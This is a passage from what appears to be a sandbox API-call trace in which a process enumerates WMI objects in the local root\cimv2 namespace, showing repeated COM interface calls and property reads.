out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.175] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.175] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.175] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.175] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.175] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6100a80, puReturned=0x2e27944*=0x1) returned 0x0 [0067.176] IUnknown:QueryInterface (in: This=0x6100a80, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6100a80) returned 0x0 [0067.176] IUnknown:QueryInterface (in: This=0x6100a80, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.176] IUnknown:QueryInterface (in: This=0x6100a80, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.176] IUnknown:AddRef (This=0x6100a80) returned 0x3 [0067.176] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.176] IUnknown:QueryInterface (in: This=0x6100a80, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6100a84) returned 0x0 [0067.176] IMarshal:GetUnmarshalClass (in: This=0x6100a84, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.176] IUnknown:Release (This=0x6100a84) returned 0x3 [0067.176] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.176] IUnknown:AddRef (This=0x6100a80) returned 0x4 [0067.176] IUnknown:QueryInterface (in: This=0x6100a80, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.176] IUnknown:Release (This=0x6100a80) returned 0x3 [0067.177] IUnknown:Release (This=0x6100a80) returned 0x2 [0067.177] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.177] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.177] IUnknown:AddRef (This=0x6100a80) returned 0x3 [0067.177] IUnknown:QueryInterface (in: This=0x6100a80, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6100a80) returned 0x0 [0067.177] IUnknown:Release (This=0x6100a80) returned 0x3 [0067.177] IUnknown:Release (This=0x6100a80) returned 0x2 [0067.177] IUnknown:Release (This=0x6100a80) returned 0x1 [0067.177] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.177] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.177] IUnknown:AddRef (This=0x6100a80) returned 0x2 [0067.177] IWbemClassObject:Get (in: This=0x6100a80, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.177] IWbemClassObject:Get (in: This=0x6100a80, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.178] IWbemClassObject:Get (in: This=0x6100a80, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.178] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.178] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.178] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.178] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.178] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.178] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6100cb8, puReturned=0x2e27944*=0x1) returned 0x0 [0067.179] IUnknown:QueryInterface (in: This=0x6100cb8, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6100cb8) returned 0x0 [0067.179] IUnknown:QueryInterface (in: This=0x6100cb8, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.179] IUnknown:QueryInterface (in: This=0x6100cb8, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.179] IUnknown:AddRef (This=0x6100cb8) returned 0x3 [0067.179] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.179] IUnknown:QueryInterface (in: This=0x6100cb8, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6100cbc) returned 0x0 [0067.179] IMarshal:GetUnmarshalClass (in: This=0x6100cbc, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.179] IUnknown:Release (This=0x6100cbc) returned 0x3 [0067.179] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.179] IUnknown:AddRef (This=0x6100cb8) returned 0x4 [0067.180] IUnknown:QueryInterface (in: This=0x6100cb8, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.180] IUnknown:Release (This=0x6100cb8) returned 0x3 [0067.180] IUnknown:Release (This=0x6100cb8) returned 0x2 [0067.180] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.180] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.180] IUnknown:AddRef (This=0x6100cb8) returned 0x3 [0067.180] IUnknown:QueryInterface (in: This=0x6100cb8, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6100cb8) returned 0x0 [0067.180] IUnknown:Release (This=0x6100cb8) returned 0x3 [0067.180] IUnknown:Release (This=0x6100cb8) returned 0x2 [0067.180] IUnknown:Release (This=0x6100cb8) returned 0x1 [0067.180] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.180] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.180] IUnknown:AddRef (This=0x6100cb8) returned 0x2 [0067.180] IWbemClassObject:Get (in: This=0x6100cb8, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.180] IWbemClassObject:Get (in: This=0x6100cb8, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.181] IWbemClassObject:Get (in: This=0x6100cb8, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.181] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.181] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.181] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.181] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.181] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.181] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x60ff048, puReturned=0x2e27944*=0x1) returned 0x0 [0067.182] IUnknown:QueryInterface (in: This=0x60ff048, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x60ff048) returned 0x0 [0067.182] IUnknown:QueryInterface (in: This=0x60ff048, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.182] IUnknown:QueryInterface (in: This=0x60ff048, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.182] IUnknown:AddRef (This=0x60ff048) returned 0x3 [0067.182] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.182] IUnknown:QueryInterface (in: This=0x60ff048, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x60ff04c) returned 0x0 [0067.182] IMarshal:GetUnmarshalClass (in: This=0x60ff04c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.182] IUnknown:Release (This=0x60ff04c) returned 0x3 [0067.182] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.182] IUnknown:AddRef (This=0x60ff048) returned 0x4 [0067.183] IUnknown:QueryInterface (in: This=0x60ff048, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.183] IUnknown:Release (This=0x60ff048) returned 0x3 [0067.183] IUnknown:Release (This=0x60ff048) returned 0x2 [0067.183] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.183] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.183] IUnknown:AddRef (This=0x60ff048) returned 0x3 [0067.183] IUnknown:QueryInterface (in: This=0x60ff048, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x60ff048) returned 0x0 [0067.183] IUnknown:Release (This=0x60ff048) returned 0x3 [0067.183] IUnknown:Release (This=0x60ff048) returned 0x2 [0067.183] IUnknown:Release (This=0x60ff048) returned 0x1 [0067.183] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.183] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.183] IUnknown:AddRef (This=0x60ff048) returned 0x2 [0067.183] IWbemClassObject:Get (in: This=0x60ff048, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.183] IWbemClassObject:Get (in: This=0x60ff048, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.184] IWbemClassObject:Get (in: This=0x60ff048, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.184] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.184] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.184] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.184] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.184] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.184] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x60ff1e0, puReturned=0x2e27944*=0x1) returned 0x0 [0067.185] IUnknown:QueryInterface (in: This=0x60ff1e0, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x60ff1e0) returned 0x0 [0067.185] IUnknown:QueryInterface (in: This=0x60ff1e0, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.185] IUnknown:QueryInterface (in: This=0x60ff1e0, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.185] IUnknown:AddRef (This=0x60ff1e0) returned 0x3 [0067.185] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.185] IUnknown:QueryInterface (in: This=0x60ff1e0, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x60ff1e4) returned 0x0 [0067.186] IMarshal:GetUnmarshalClass (in: This=0x60ff1e4, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.186] IUnknown:Release (This=0x60ff1e4) returned 0x3 [0067.186] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.186] IUnknown:AddRef (This=0x60ff1e0) returned 0x4 [0067.186] IUnknown:QueryInterface (in: This=0x60ff1e0, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.186] IUnknown:Release (This=0x60ff1e0) returned 0x3 [0067.186] IUnknown:Release (This=0x60ff1e0) returned 0x2 [0067.186] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.186] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.186] IUnknown:AddRef (This=0x60ff1e0) returned 0x3 [0067.186] IUnknown:QueryInterface (in: This=0x60ff1e0, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x60ff1e0) returned 0x0 [0067.186] IUnknown:Release (This=0x60ff1e0) returned 0x3 [0067.186] IUnknown:Release (This=0x60ff1e0) returned 0x2 [0067.186] IUnknown:Release (This=0x60ff1e0) returned 0x1 [0067.186] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.186] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.186] IUnknown:AddRef (This=0x60ff1e0) returned 0x2 [0067.186] IWbemClassObject:Get (in: This=0x60ff1e0, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.187] IWbemClassObject:Get (in: This=0x60ff1e0, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.187] IWbemClassObject:Get (in: This=0x60ff1e0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.187] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.187] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.187] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.187] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.187] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.187] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x60ff410, puReturned=0x2e27944*=0x1) returned 0x0 [0067.199] IUnknown:QueryInterface (in: This=0x60ff410, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x60ff410) returned 0x0 [0067.200] IUnknown:QueryInterface (in: This=0x60ff410, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.200] IUnknown:QueryInterface (in: This=0x60ff410, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.200] IUnknown:AddRef (This=0x60ff410) returned 0x3 [0067.200] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.200] IUnknown:QueryInterface (in: This=0x60ff410, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x60ff414) returned 0x0 [0067.200] IMarshal:GetUnmarshalClass (in: This=0x60ff414, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, 